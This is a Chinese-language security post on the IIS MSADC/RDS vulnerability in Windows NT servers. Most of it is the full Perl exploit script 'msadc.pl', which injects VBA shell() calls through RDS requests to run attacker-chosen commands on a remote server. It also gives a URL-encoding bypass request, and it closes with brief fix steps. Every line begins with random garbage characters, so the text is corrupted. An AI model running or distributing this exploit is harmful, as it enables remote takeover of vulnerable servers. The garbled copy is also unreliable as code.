IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
igk<]AwxS R)Arr77 涉及程序:
It&CM,=t Microsoft NT server
TPk?MeVy%W Wtcib- 描述:
!W@mW
5J| 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
-8Mb~Hfl0 Ue
>]uZ| 详细:
DR}I+<*%aD 如果你没有时间读详细内容的话,就删除:
_Tor9Tj c:\Program Files\Common Files\System\Msadc\msadcs.dll
nM2<u[{gF 有关的安全问题就没有了。
Q'Osw" *?HGi>]\| 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
7KhS{w6 rMbq_5} 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
0r1GGEW`s 关于利用ODBC远程漏洞的描述,请参看:
9 $$uk'}w! nf 8V:y4 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm FrXP"U}Y Nn FR; 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
R2sG'<0B0 http://www.microsoft.com/security/bulletins/MS99-025faq.asp [B)! 5 k3m"* 这里不再论述。
/u4RZ|&as C`g
"Mk8 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
3rH}/`d4 @GQfBV|3 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
j2_j5Hgo 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
xS/W}-dPv s!/lQo5/ `M6"=)twu #将下面这段保存为txt文件,然后: "perl -x 文件名"
>aO.a[AM
c2M #!perl
tSJ# #
W?.469yy # MSADC/RDS 'usage' (aka exploit) script
7UMZs7L$ #
0HoHu*+FX # by rain.forest.puppy
aM;SE9/U #
Y_:jc{? # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
b3E1S+\=~ # beta test and find errors!
S=!WFKcJR <7\j\` use Socket; use Getopt::Std;
B\c_GX Uw getopts("e:vd:h:XR", \%args);
3u/JcU-< [StnKQ?"wz print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
HdqB B Bc"MOSV0 if (!defined $args{h} && !defined $args{R}) {
Yjc U2S"=P print qq~
znsQ/[ Usage: msadc.pl -h <host> { -d <delay> -X -v }
nwKp8mfP -h <host> = host you want to scan (ip or domain)
(6ga*5< -d <seconds> = delay between calls, default 1 second
h2Nt@ -X = dump Index Server path table, if available
jL\j$'KC -v = verbose
OA&'T*)-A6 -e = external dictionary file for step 5
E .Xp\Dm71 H@1'El\9 Or a -R will resume a command session
$kTm"I x:MwM? ~; exit;}
V&nB*U&s" SZ9Oz-? $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
:$b` n if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
*zrGrk:l if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
X+XDfEt:Q if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
]|CcQ1#|H $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Yvo*^jv if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
rwLKY.J] v}j5G,
[- if (!defined $args{R}){ $ret = &has_msadc;
mufGv%U2 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
&S{r;N5u
,XEIg print "Please type the NT commandline you want to run (cmd /c assumed):\n"
FprdP*/ . "cmd /c ";
s`bGW1#io $in=<STDIN>; chomp $in;
6~%><C $command="cmd /c " . $in ;
?;CIS$$r TUnAsE/J& if (defined $args{R}) {&load; exit;}
'cpm 4mT w<`0D)mQ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
I2$DlEke &try_btcustmr;
\
T#|<= =m2_:&@0x print "\nStep 2: Trying to make our own DSN...";
W:RjWn @< &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
2~$S @c :lB`K>)iB} print "\nStep 3: Trying known DSNs...";
j J{F0o &known_dsn;
3O2G+G2 rH`\UZ{cc print "\nStep 4: Trying known .mdbs...";
prj( &known_mdb;
940:NOgm DH?n~qKpC if (defined $args{e}){
i;1pw_K print "\nStep 5: Trying dictionary of DSN names...";
@FN|=?8% &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
/Yy)=~t{ p [C
9g print "Sorry Charley...maybe next time?\n";
5,gT|4|B\g exit;
(& SU)Uvu ?4R%z([X7 ##############################################################################
W94:% %jjPs. sub sendraw { # ripped and modded from whisker
-orRmn6} sleep($delay); # it's a DoS on the server! At least on mine...
%@vF% my ($pstr)=@_;
F9j@KC(yg socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
tC'E#2 die("Socket problems\n");
BwWSztJ+B if(connect(S,pack "SnA4x8",2,80,$target)){
NF8<9 select(S); $|=1;
)%@7tx print $pstr; my @in=<S>;
%JE>Z] select(STDOUT); close(S);
4}m9, return @in;
$~b6H]"9 } else { die("Can't connect...\n"); }}
IrL%0&*hS 2V)+ba|+ ##############################################################################
VEh9N F9o7=5WAb sub make_header { # make the HTTP request
/ rc[HbNg. my $msadc=<<EOT
}dzdx " POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
/*y5W-'d^ User-Agent: ACTIVEDATA
fG'~@'P~ Host: $ip
?0t^7HMP Content-Length: $clen
L=#NUNiXr Connection: Keep-Alive
zfKO)Itd P$U"y/ ADCClientVersion:01.06
H\QkU`b Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
W\zZ&*8$ /Ot3[B --!ADM!ROX!YOUR!WORLD!
@G2# Z Content-Type: application/x-varg
;-VZV p}Y Content-Length: $reqlen
r"2lcNE +Xs E EOT
YYn8!FIe ; $msadc=~s/\n/\r\n/g;
&NBH'Rt return $msadc;}
VH]}{i"` yIKpyyC9H ##############################################################################
}8 z:L< 'w=|uE {^ sub make_req { # make the RDS request
!0@4*>n my ($switch, $p1, $p2)=@_;
:*KTpTa my $req=""; my $t1, $t2, $query, $dsn;
)K{ s^]Jp FJZ'P;3 if ($switch==1){ # this is the btcustmr.mdb query
ni2#20L $query="Select * from Customers where City=" . make_shell();
n!z!fh $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
4 -tC=>>wc $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
S&}7XjY {d[Nc,AMb elsif ($switch==2){ # this is general make table query
g}0K@z3 $query="create table AZZ (B int, C varchar(10))";
U&#`
<R_0 $dsn="$p1";}
VP
A+/5TW 9\.0v{&v elsif ($switch==3){ # this is general exploit table query
eI:[o $query="select * from AZZ where C=" . make_shell();
? #rXc%F $dsn="$p1";}
oY^I|FEOz jlP*RX elsif ($switch==4){ # attempt to hork file info from index server
/7D5I\ $query="select path from scope()";
.JLJ(WM $dsn="Provider=MSIDXS;";}
teS>t!d
"/6#Z>y elsif ($switch==5){ # bad query
ym{@w3"S $query="select";
5Qq/nUR $dsn="$p1";}
<u\Hy0g b5|*p(7[ $t1= make_unicode($query);
#1haq[Uv7 $t2= make_unicode($dsn);
,A{Bx`o? $req = "\x02\x00\x03\x00";
DKt98; $req.= "\x08\x00" . pack ("S1", length($t1));
C<J*C0vQO $req.= "\x00\x00" . $t1 ;
our
^J8 $req.= "\x08\x00" . pack ("S1", length($t2));
yDqwz[v b $req.= "\x00\x00" . $t2 ;
iKaX8c,zI $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
"?zWCH return $req;}
zj r($? eV*QUjS~ ##############################################################################
3`reXms*{ u9f^wn sub make_shell { # this makes the shell() statement
16/ V5 return "'|shell(\"$command\")|'";}
06&;GW!- h&j2mv( ##############################################################################
DD=X{{;D\" (
3B1X sub make_unicode { # quick little function to convert to unicode
Em&3g my ($in)=@_; my $out;
s@{82}f~ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Zeg'\&w0s return $out;}
w3(G!: /FN:yCf ##############################################################################
vE)N6Ss 3q/Us0jr sub rdo_success { # checks for RDO return success (this is kludge)
l{7}3Am6 my (@in) = @_; my $base=content_start(@in);
hn2:@^=f if($in[$base]=~/multipart\/mixed/){
.F7?}8>Z return 1 if( $in[$base+10]=~/^\x09\x00/ );}
w0g@ <(
3 return 0;}
v>LK+|U YxM\qy{Vr ##############################################################################
V5lUh#@TN& #[M^Q
h sub make_dsn { # this makes a DSN for us
ywp_,j9F my @drives=("c","d","e","f");
,Sgo_bC/| print "\nMaking DSN: ";
d=bKNA90 foreach $drive (@drives) {
Oz%6y
ri print "$drive: ";
;t +p2i my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
*}C%z( "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
:(XyiF<Ud . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
%EU_OS(u.{ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
G@DNV3Cc return 0 if $2 eq "404"; # not found/doesn't exist
iqR6z\p& if($2 eq "200") {
FBl,Mky foreach $line (@results) {
W\Pd:t return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
IB#
ua: } return 0;}
"m^gCN}c qe&|6 M! ##############################################################################
'|]}f }Go M%_*vD sub verify_exists {
!f(A9V my ($page)=@_;
7kV$O(4 my @results=sendraw("GET $page HTTP/1.0\n\n");
oA5Qk3b: return $results[0];}
5b rM.. B`QF;,3S ##############################################################################
S=P}Jpq?Y; z+.G>0M sub try_btcustmr {
VL*5 my @drives=("c","d","e","f");
\9,lMK[b my @dirs=("winnt","winnt35","winnt351","win","windows");
OulRqbL2 2T*kmDp foreach $dir (@dirs) {
"*#f^/LS print "$dir -> "; # fun status so you can see progress
eWqS]cM# foreach $drive (@drives) {
\{<ml n print "$drive: "; # ditto
JYNnzgd $reqlen=length( make_req(1,$drive,$dir) ) - 28;
Y&b Yaq $reqlenlen=length( "$reqlen" );
gWHY7rv $clen= 206 + $reqlenlen + $reqlen;
QswPga(- YL*FjpVW my @results=sendraw(make_header() . make_req(1,$drive,$dir));
(+v':KH3_ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
7a9">:~ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
oU1N>,
8#$HKWUK ##############################################################################
BD]J/o ,9G'1%z, sub odbc_error {
xytWE:= my (@in)=@_; my $base;
agfDx^, my $base = content_start(@in);
L$c 1<7LU if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
5(#z)T $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
b [HnhAI $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
HAE$Np|>a $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
0>j0L8#^p return $in[$base+4].$in[$base+5].$in[$base+6];}
pm+E)z6Yo print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
w@2NXcmw print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
w +UBXW $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
4;~xRg;u&* ww
%c+O/ ##############################################################################
br88b`L :@&e~QP( sub verbose {
JGq9RB]D$ my ($in)=@_;
)Mq4p'*A[ return if !$verbose;
LT{g^g print STDOUT "\n$in\n";}
w$$pTk|&n =UO7!vr;[ ##############################################################################
U!+O+( hFoeVM[h sub save {
0o 7o;eN my ($p1, $p2, $p3, $p4)=@_;
>1I w!SO+ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
t_I-6`8o] print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
nZj&Ma7R close OUT;}
|7|'JTy wIRU!lIF9 ##############################################################################
YH^U"\}i ^Mm%`B7W sub load {
fATnza my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
xs6!NY open(IN,"<rds.save") || die("Couldn't open rds.save\n");
evEdFY @p=<IN>; close(IN);
S~ckIN] $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
|(x%J[n0+ $target= inet_aton($ip) || die("inet_aton problems");
8B6(SQp% print "Resuming to $ip ...";
~yN>9f U $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
eYRd#w if($p[1]==1) {
HHyN\ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
<AVWT+, $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
}6u}?>S my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
a)Ht(*/B if (rdo_success(@results)){print "Success!\n";}
T:'<:*pD else { print "failed\n"; verbose(odbc_error(@results));}}
q\P{h ij elsif ($p[1]==3){
*@lVesC2 if(run_query("$p[3]")){
@?tR-L<u print "Success!\n";} else { print "failed\n"; }}
(Z@-e^R elsif ($p[1]==4){
S5m.oHJI* if(run_query($drvst . "$p[3]")){
%[*_-% print "Success!\n"; } else { print "failed\n"; }}
_JpTHpqu exit;}
wD [Ketg ##############################################################################
agoMsxI9 F$v ^S+Ch sub create_table {
g>ke;SH%KY my ($in)=@_;
KxmB$x5-=8 $reqlen=length( make_req(2,$in,"") ) - 28;
l;z+E_sQ $reqlenlen=length( "$reqlen" );
R90chl $clen= 206 + $reqlenlen + $reqlen;
CU\r
I my @results=sendraw(make_header() . make_req(2,$in,""));
!x-9A return 1 if rdo_success(@results);
1N]-WCxQ my $temp= odbc_error(@results); verbose($temp);
\HoVS return 1 if $temp=~/Table 'AZZ' already exists/;
~EDO< O>3 return 0;}
`aMnTF5: !+hw8@A ##############################################################################
}+NlYD:qF ]*DIn1C^ sub known_dsn {
&z\?A2Mw% # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
$\oe}`#o my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
B_c-@kl "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
AA|G&&1y
"banner", "banners", "ads", "ADCDemo", "ADCTest");
9Z2aFW9 ODCN~7-@ foreach $dSn (@dsns) {
H-&
ktQWK3 print ".";
k fOd|- next if (!is_access("DSN=$dSn"));
vKbGG if(create_table("DSN=$dSn")){
:d<F7`k
H print "$dSn successful\n";
}i;!p
Ue$ if(run_query("DSN=$dSn")){
i[vN3`*B print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
0}_1ZU print "Something's borked. Use verbose next time\n";}}} print "\n";}
sZa>+ r_^]5C\ ##############################################################################
1- GtZ2 ->'q sub is_access {
tpV61L
my ($in)=@_;
sBN4:8 $reqlen=length( make_req(5,$in,"") ) - 28;
>tkU+$;- $reqlenlen=length( "$reqlen" );
Q`h@-6N $clen= 206 + $reqlenlen + $reqlen;
{y!77>Q/ my @results=sendraw(make_header() . make_req(5,$in,""));
Xs4G#QsAJ my $temp= odbc_error(@results);
DQ6pe)E| verbose($temp); return 1 if ($temp=~/Microsoft Access/);
Gnqun% return 0;}
<~5$<L4 :; 3y^! ##############################################################################
xtS0D^ IrP6Rxh sub run_query {
V+y:!t` my ($in)=@_;
rYA4(rYq $reqlen=length( make_req(3,$in,"") ) - 28;
y?s#pSX;N $reqlenlen=length( "$reqlen" );
^@q$c $clen= 206 + $reqlenlen + $reqlen;
BjUz"69 my @results=sendraw(make_header() . make_req(3,$in,""));
g5~1uU$O return 1 if rdo_success(@results);
")qO#b4 my $temp= odbc_error(@results); verbose($temp);
J$Ba*`~!! return 0;}
4[LzjC L_YY, ##############################################################################
A.S:eQvS% q1M16qv5 sub known_mdb {
}15ooe% my @drives=("c","d","e","f","g");
0'y3iar my @dirs=("winnt","winnt35","winnt351","win","windows");
gl6 *bB= my $dir, $drive, $mdb;
Y4/ !b my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
?37Kc,o <+7-^o_ # this is sparse, because I don't know of many
!P* z= my @sysmdbs=( "\\catroot\\icatalog.mdb",
NB/ wJ3 F "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
T$xY]hqr "\\system32\\certmdb.mdb",
Z}6H529[ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
}"9jCxXL L}U fd >* my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
W-U[7n "\\cfusion\\cfapps\\forums\\forums_.mdb",
Kd,7x'h`E "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
BBm;QOBU "\\cfusion\\cfapps\\security\\realm_.mdb",
A?OaP "\\cfusion\\cfapps\\security\\data\\realm.mdb",
GfT`>M?QGK "\\cfusion\\database\\cfexamples.mdb",
6t6#<ts "\\cfusion\\database\\cfsnippets.mdb",
U7cGr\eUu "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
R*psL&N "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
zFV?,"\r "\\cfusion\\brighttiger\\database\\cleam.mdb",
"^@0zy@x "\\cfusion\\database\\smpolicy.mdb",
4#@zn 2l "\\cfusion\\database\cypress.mdb",
uYwJ[1C "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
A&QO]8 "\\website\\cgi-win\\dbsample.mdb",
(}n,Ou[ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
jJCd2O] "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
Q2/ZO2 ); #these are just
E%C02sI foreach $drive (@drives) {
T#sKld foreach $dir (@dirs){
I_@XHhyVZ foreach $mdb (@sysmdbs) {
iY1JU-S print ".";
wp8ocZ-Gj if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
Cy##+u,C print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
$nbZ+~49 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
:<Y, f(c print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
w873: = } else { print "Something's borked. Use verbose next time\n"; }}}}}
9y"*H2$# 7w{>bYP foreach $drive (@drives) {
"8Y4;lbN.q foreach $mdb (@mdbs) {
y"SVZ} ;| print ".";
h"G#} C] if(create_table($drv . $drive . $dir . $mdb)){
u($y<Q)= print "\n" . $drive . $dir . $mdb . " successful\n";
K%A:W if(run_query($drv . $drive . $dir . $mdb)){
hK&/A+* print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
<$'OSN`! } else { print "Something's borked. Use verbose next time\n"; }}}}
]\<^rEU }
?-0>Wbg @dCoh-Q3 ##############################################################################
@'EU\Y\l }-R|f_2Hp sub hork_idx {
Am?
d HP print "\nAttempting to dump Index Server tables...\n";
W[Ro) print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
xTW$9>@\m $reqlen=length( make_req(4,"","") ) - 28;
Y_49UtJIg $reqlenlen=length( "$reqlen" );
!bG%@{W T $clen= 206 + $reqlenlen + $reqlen;
k%)QrRnB my @results=sendraw2(make_header() . make_req(4,"",""));
(r?41?5K if (rdo_success(@results)){
)xuvY3BPB? my $max=@results; my $c; my %d;
QvH=<$ for($c=19; $c<$max; $c++){
Zg/ra1n $results[$c]=~s/\x00//g;
'J&$L c $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
P'6eK? $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
4b B)t# $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
kN*,3)T;} $d{"$1$2"}="";}
J!,<NlP0K foreach $c (keys %d){ print "$c\n"; }
-%lA=pS{Fq } else {print "Index server doesn't seem to be installed.\n"; }}
'Bp7LtG92 h$EH|9HAb ##############################################################################
{WJ+6!v ;|f|d?Q\ sub dsn_dict {
^F ` open(IN, "<$args{e}") || die("Can't open external dictionary\n");
x2\,n while(<IN>){
~I%m[fQ S $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
W"_")V=QBz next if (!is_access("DSN=$dSn"));
V3NQij( if(create_table("DSN=$dSn")){
#,1Kum
bG3 print "$dSn successful\n";
$ Aw"?&d" if(run_query("DSN=$dSn")){
2WRa@;Tj print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
.>0j<|~
print "Something's borked. Use verbose next time\n";}}}
,=tPh4> print "\n"; close(IN);}
`)5E_E3 *1fq :-- ##############################################################################
) )q4Rh 8(euWS sub sendraw2 { # ripped and modded from whisker
c|%.B2 sleep($delay); # it's a DoS on the server! At least on mine...
s=&&gC1 my ($pstr)=@_;
Pvq74?an` socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
=Vv"\p8 die("Socket problems\n");
>M\3tB2C if(connect(S,pack "SnA4x8",2,80,$target)){
E
{$Jk]c print "Connected. Getting data";
90oG+T4 open(OUT,">raw.out"); my @in;
>i %{5d select(S); $|=1; print $pstr;
xn'&TQo0 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
_h2axXFhT close(OUT); select(STDOUT); close(S); return @in;
p^~AbU'6~ } else { die("Can't connect...\n"); }}
qcSlY&6+ JgJ4RmH- ##############################################################################
'a`cK;X9F eot]VO: sub content_start { # this will take in the server headers
g?.ls{H my (@in)=@_; my $c;
3?F*|E_ for ($c=1;$c<500;$c++) {
"#d>3M_ if($in[$c] =~/^\x0d\x0a/){
RCSG.*% %I if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
KErQCBeJ else { return $c+1; }}}
{;6Yi! return -1;} # it should never get here actually
:d v{'O d7.}=E.L ##############################################################################
r5kKNyJ x w8
e sub funky {
owDp?Sy}E my (@in)=@_; my $error=odbc_error(@in);
bhqBFiuhH if($error=~/ADO could not find the specified provider/){
$[L~X
M print "\nServer returned an ADO miscofiguration message\nAborting.\n";
ALVHKL2 exit;}
b!C\J if($error=~/A Handler is required/){
K!c "g,S print "\nServer has custom handler filters (they most likely are patched)\n";
rz%8Vigb exit;}
xx`xDD if($error=~/specified Handler has denied Access/){
ztcV[{[g print "\nServer has custom handler filters (they most likely are patched)\n";
n.&z^&$w\) exit;}}
K}e%E&|> /UP&TyZ ##############################################################################
;x/do?FbT ^Oy97Y sub has_msadc {
1 ]Q;fe my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
N8!V%i? my $base=content_start(@results);
K(
: NshM return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
X}@^$'W return 0;}
f3Zm_zxj 4PtRTb0<i3 ########################
0x&-/qce6W {O ]^8#v^ W rB:)Q(8= 解决方案:
iI|mFc|V 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
d<{>& 2、移除web 目录: /msadc